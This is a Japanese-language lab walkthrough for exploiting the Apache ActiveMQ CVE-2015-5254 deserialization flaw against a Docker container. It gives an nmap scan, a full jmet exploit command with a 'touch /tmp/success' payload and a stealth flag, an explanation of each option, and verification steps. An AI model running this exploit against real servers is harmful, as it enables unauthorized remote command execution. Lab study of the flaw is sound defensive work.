
jmetを使用したApache ActiveMQ CVE-2015-5254逆シリアル化脆弱性のステップバイステップの悪用ガイド。Dockerベースのラボセットアップと検証を備えています。
CVE-2015-5254脆弱性は、アプリケーション間の通信に広く使用されるオープンソースのメッセージサーバーApache ActiveMQにおけるセキュリティホールです。この脆弱性はActiveMQバージョン5.13.0までに影響し、送信されるJMS ObjectMessage入力データのフィルタリング不足に起因します。
ネットワークスキャン: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1

ダウンロードしたフォルダからDockerを使ってActiveMQ 2015を起動します:

ActiveMQのバージョンを確認します:

バージョン5.11.1です。
悪用:
この脆弱性に対しては、以下のコマンドを使用します:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.17.0.1 61616
このコマンドは、jmetツールを使用してApache ActiveMQのCVE-2015-5254脆弱性を悪用する試行を実行します。各オプションの解説は以下の通りです:
java -jar jmet-0.1.0-all.jar : jmetツール(Java Message Exploitation Tool)を自己完結型JARファイル(jmet-0.1.0-all.jar)で起動します。
-Q event : ActiveMQ内のターゲットキュー(待ち行列)を指定します。ここでは"event"という名前です。ツールはこのキューを介して悪意のあるメッセージを送信します。
-I ActiveMQ : ターゲットがApache ActiveMQサーバーであることを示します。
-s : エクスプロイトを「ステルス」モードで起動します。これにより、ターゲット上で生成されるログや警告が最小限に抑えられる場合があります。
-Y "touch /tmp/success" : 成功時にターゲットサーバー上で実行される悪意のあるペイロードを指定します。この場合、コマンド touch /tmp/success は /tmp フォルダ内に success というファイルを作成し、エクスプロイトが成功したことを証明します。
-Yp ROME : 脆弱性を悪用するために「ROME」ペイロードを使用します(ROMEはActiveMQ向けにツールがサポートする特定のペイロードタイプです)。
172.17.0.1 61616 : ターゲットとなるApache ActiveMQサーバーのIPアドレス(172.17.0.1)とポート(61616)を指定します。
要約 このコマンドは、Apache ActiveMQのデシリアライゼーションの欠陥を悪用し、"event"キューに悪意のあるメッセージを注入してリモートでコマンドを実行しようとします。エクスプロイトが成功すると、ターゲットのActiveMQサーバーは touch /tmp/success コマンドを実行し、成功を示すファイルが作成されます(ファイル作成が成功の指標)。 要するに、ActiveMQサーバーのファイルシステム内、具体的には /tmp/ に success というファイルを紛れ込ませようとしています。

エクスプロイトが成功したことがわかります!!!
Apache ActiveMQ上で以下の検出メッセージが表示されます:

メッセージをクリックします:

以下の一連のコマンドを入力します:
docker ps -a 現在のActiveMQコンテナを確認するために、コンテナ19ab278527c7が見えます。 実行: docker exec -it 19ab278527c7 /bin/bash コンテナを介してActiveMQサーバーに認証するため。
認証に成功し、/tmp/内にsuccessファイルが作成されたことを確認しました:

エクスプロイト終了!!!